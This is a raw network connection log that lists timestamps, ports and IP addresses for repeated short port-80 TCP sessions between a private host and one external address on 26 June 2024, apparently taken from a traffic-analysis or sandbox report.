Jun 26, 2024 08:17:45.323411942 CEST	80	49894	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.324826956 CEST	80	49894	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.443870068 CEST	49895	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.448898077 CEST	80	49895	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.448992014 CEST	49895	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.450323105 CEST	49895	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.454571962 CEST	80	49895	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.454633951 CEST	49895	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.454993963 CEST	80	49895	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.455327034 CEST	49895	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.456595898 CEST	49896	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.459467888 CEST	80	49895	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.460038900 CEST	80	49895	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.461457014 CEST	80	49896	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.461514950 CEST	49896	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.462131977 CEST	49896	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.466948032 CEST	80	49896	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.469003916 CEST	80	49896	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.582215071 CEST	49897	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.587393999 CEST	80	49897	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.589740992 CEST	49897	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.589965105 CEST	49897	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.594954967 CEST	80	49897	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.595225096 CEST	80	49897	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.598850965 CEST	49898	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.603646040 CEST	80	49898	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:45.603914976 CEST	49898	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.604024887 CEST	49898	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:45.608845949 CEST	80	49898	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:46.278418064 CEST	80	49898	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:46.278574944 CEST	49898	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:46.404731035 CEST	49898	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:46.405181885 CEST	49899	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:46.410480976 CEST	80	49899	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:46.410552025 CEST	49899	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:46.411262035 CEST	49899	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:46.411648989 CEST	80	49898	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:46.411705017 CEST	49898	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:46.416347980 CEST	80	49899	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.090965986 CEST	80	49899	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.091346025 CEST	49899	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.094116926 CEST	49899	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.094485998 CEST	49900	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.099420071 CEST	80	49900	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.099603891 CEST	49900	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.099828959 CEST	49900	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.101023912 CEST	80	49899	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.101104975 CEST	49899	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.104825020 CEST	80	49900	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.111449957 CEST	80	49900	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.223186016 CEST	49901	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.230479002 CEST	80	49901	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.230617046 CEST	49901	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.233841896 CEST	49901	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.235755920 CEST	80	49901	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.235891104 CEST	49901	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.236090899 CEST	49901	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.236701012 CEST	49902	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.239665031 CEST	80	49901	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.240756035 CEST	80	49901	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.241658926 CEST	80	49901	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.241663933 CEST	80	49902	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.241780043 CEST	49902	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.242054939 CEST	49902	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.247076988 CEST	80	49902	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.247905016 CEST	80	49902	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.365849018 CEST	49903	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.370877028 CEST	80	49903	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:47.374186993 CEST	49903	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.374186993 CEST	49903	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:47.379033089 CEST	80	49903	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.053422928 CEST	80	49903	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.053628922 CEST	49903	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.065490007 CEST	49903	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.066134930 CEST	49904	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.070612907 CEST	80	49903	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.070667982 CEST	49903	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.071165085 CEST	80	49904	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.071326971 CEST	49904	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.072038889 CEST	49904	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.077398062 CEST	80	49904	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.745909929 CEST	80	49904	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.746110916 CEST	49904	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.866712093 CEST	49904	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.867357016 CEST	49905	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.872636080 CEST	80	49904	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.872700930 CEST	80	49905	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.872719049 CEST	49904	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.872802973 CEST	49905	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.874041080 CEST	49905	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.880774021 CEST	80	49905	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.884166956 CEST	80	49905	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.887131929 CEST	49906	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.892096043 CEST	80	49906	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.892175913 CEST	49906	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.893219948 CEST	49906	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.897655010 CEST	80	49906	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.897732973 CEST	49906	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.898104906 CEST	80	49906	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.898533106 CEST	49906	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:48.902529955 CEST	80	49906	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:48.903295040 CEST	80	49906	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:49.005841017 CEST	49907	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:49.010838032 CEST	80	49907	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:49.010970116 CEST	49907	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:49.011133909 CEST	49907	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:49.016272068 CEST	80	49907	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:49.698297977 CEST	80	49907	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:49.698482037 CEST	49907	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:49.701073885 CEST	49907	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:49.701647997 CEST	49908	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:49.707328081 CEST	80	49908	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:49.707484007 CEST	49908	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:49.707696915 CEST	49908	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:49.708163023 CEST	80	49907	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:49.708493948 CEST	49907	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:49.713810921 CEST	80	49908	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.386053085 CEST	80	49908	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.386159897 CEST	49908	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.511713028 CEST	49908	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.512059927 CEST	49909	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.518187046 CEST	80	49908	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.518259048 CEST	49908	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.519085884 CEST	80	49909	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.519150019 CEST	49909	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.520106077 CEST	49909	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.525293112 CEST	80	49909	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.527297974 CEST	80	49909	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.529326916 CEST	49910	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.534426928 CEST	80	49910	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.534485102 CEST	49910	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.535763025 CEST	49910	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.540823936 CEST	80	49910	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.544454098 CEST	80	49910	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.660797119 CEST	49911	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.665803909 CEST	80	49911	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.665999889 CEST	49911	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.666131020 CEST	49911	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.670958996 CEST	80	49911	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.671649933 CEST	80	49911	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.672624111 CEST	49912	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.678508043 CEST	80	49912	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.678680897 CEST	49912	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.678889036 CEST	49912	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.683785915 CEST	80	49912	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.685178995 CEST	80	49912	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.804457903 CEST	49913	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.816622019 CEST	80	49913	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.816756010 CEST	49913	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.817095995 CEST	49913	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.821852922 CEST	80	49913	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.822107077 CEST	80	49913	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.823275089 CEST	49914	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.828551054 CEST	80	49914	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.828634024 CEST	49914	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.828865051 CEST	49914	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.834127903 CEST	80	49914	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.834237099 CEST	80	49914	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.949270010 CEST	49915	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.954107046 CEST	80	49915	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:50.954184055 CEST	49915	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.955045938 CEST	49915	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:50.960520983 CEST	80	49915	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:51.634305000 CEST	80	49915	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:51.634514093 CEST	49915	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.638067007 CEST	49915	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.638335943 CEST	49916	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.643435955 CEST	80	49915	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:51.643507004 CEST	80	49916	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:51.643526077 CEST	49915	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.643579960 CEST	49916	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.644505024 CEST	49916	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.649264097 CEST	80	49916	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:51.649347067 CEST	80	49916	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:51.649377108 CEST	49916	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.651192904 CEST	49916	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.655184031 CEST	80	49916	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:51.656558990 CEST	80	49916	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:51.771128893 CEST	49917	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.775913954 CEST	80	49917	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:51.776175976 CEST	49917	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.776386976 CEST	49917	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:51.781207085 CEST	80	49917	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:52.451726913 CEST	80	49917	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:52.451858044 CEST	49917	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:52.458434105 CEST	49917	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:52.458756924 CEST	49918	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:52.464922905 CEST	80	49918	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:52.465001106 CEST	49918	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:52.465348005 CEST	80	49917	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:52.465452909 CEST	49917	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:52.465585947 CEST	49918	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:52.470349073 CEST	80	49918	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:52.481945992 CEST	80	49918	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:52.602730989 CEST	49919	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:52.607712030 CEST	80	49919	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:52.607817888 CEST	49919	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:52.608989954 CEST	49919	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:52.613764048 CEST	80	49919	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.298285007 CEST	80	49919	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.298387051 CEST	49919	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.303388119 CEST	49919	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.304028988 CEST	49920	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.308701992 CEST	80	49919	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.308923960 CEST	80	49920	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.308990002 CEST	49919	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.309016943 CEST	49920	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.309488058 CEST	49920	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.314579964 CEST	80	49920	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.314690113 CEST	49920	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.314745903 CEST	80	49920	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.315002918 CEST	49920	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.319994926 CEST	80	49920	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.320003986 CEST	80	49920	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.425956964 CEST	49921	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.431927919 CEST	80	49921	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.432245970 CEST	49921	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.432404041 CEST	49921	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.437330008 CEST	80	49921	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.439647913 CEST	80	49921	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.442960024 CEST	49922	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.448235989 CEST	80	49922	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.448530912 CEST	49922	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.448793888 CEST	49922	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.453725100 CEST	80	49922	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.454097033 CEST	80	49922	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.583300114 CEST	49923	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.588102102 CEST	80	49923	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.588181973 CEST	49923	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.588526964 CEST	49923	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.593172073 CEST	80	49923	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.593230009 CEST	49923	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.593499899 CEST	49923	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.593539000 CEST	80	49923	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.594490051 CEST	49924	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.598088980 CEST	80	49923	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.598506927 CEST	80	49923	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.599502087 CEST	80	49924	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.599565983 CEST	49924	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.600696087 CEST	49924	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.604728937 CEST	80	49924	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.604811907 CEST	49924	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.605535030 CEST	49924	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.605791092 CEST	80	49924	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.609708071 CEST	80	49924	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.610438108 CEST	80	49924	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.724885941 CEST	49925	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.729672909 CEST	80	49925	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:53.729806900 CEST	49925	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.730086088 CEST	49925	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:53.735177040 CEST	80	49925	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:54.398025036 CEST	80	49925	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:54.398158073 CEST	49925	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:54.401299000 CEST	49926	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:54.401299000 CEST	49925	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:54.406203985 CEST	80	49926	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:54.406356096 CEST	49926	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:54.406667948 CEST	49926	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:54.406918049 CEST	80	49925	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:54.407202959 CEST	49925	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:54.411449909 CEST	80	49926	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.098213911 CEST	80	49926	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.098303080 CEST	49926	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.207135916 CEST	49926	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.207628965 CEST	49927	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.212584972 CEST	80	49926	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.212598085 CEST	80	49927	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.212641001 CEST	49926	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.212675095 CEST	49927	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.212959051 CEST	49927	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.217817068 CEST	80	49927	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.219976902 CEST	80	49927	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.221837044 CEST	49928	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.226672888 CEST	80	49928	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.226782084 CEST	49928	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.227127075 CEST	49928	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.231997967 CEST	80	49928	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.232002020 CEST	80	49928	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.348141909 CEST	49929	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.352942944 CEST	80	49929	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.354010105 CEST	49929	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.354187012 CEST	49929	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.359827042 CEST	80	49929	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.371191978 CEST	80	49929	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.375193119 CEST	49930	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.383042097 CEST	80	49930	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.383112907 CEST	49930	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.383424044 CEST	49930	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.392137051 CEST	80	49930	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.396828890 CEST	80	49930	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.506652117 CEST	49931	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.511584044 CEST	80	49931	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.511759043 CEST	49931	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.512310028 CEST	49931	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.517138958 CEST	80	49931	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.534161091 CEST	80	49931	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.535624981 CEST	49932	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.541498899 CEST	80	49932	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.541613102 CEST	49932	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.541743994 CEST	49932	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.551245928 CEST	80	49932	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.595037937 CEST	80	49932	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.707384109 CEST	49933	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.712575912 CEST	80	49933	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.715950012 CEST	49933	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.716181993 CEST	49933	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.721998930 CEST	80	49933	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.725433111 CEST	80	49933	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.730959892 CEST	49934	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.735991001 CEST	80	49934	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.736073017 CEST	49934	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.736695051 CEST	49934	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.741539955 CEST	80	49934	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.747653961 CEST	80	49934	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.870274067 CEST	49935	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.875183105 CEST	80	49935	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:55.875297070 CEST	49935	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.876028061 CEST	49935	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:55.880969048 CEST	80	49935	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:56.573956013 CEST	80	49935	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:56.574110031 CEST	49935	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:56.577249050 CEST	49935	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:56.577259064 CEST	49936	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:56.582866907 CEST	80	49935	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:56.583046913 CEST	49935	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:56.583168983 CEST	80	49936	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:56.583292007 CEST	49936	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:56.583566904 CEST	49936	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:56.588850021 CEST	80	49936	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:57.252413988 CEST	80	49936	147.45.47.155	192.168.2.6
Jun 26, 2024 08:17:57.252465963 CEST	49936	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:57.364424944 CEST	49936	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:17:57.364731073 CEST	49937	80	192.168.2.6	147.45.47.155
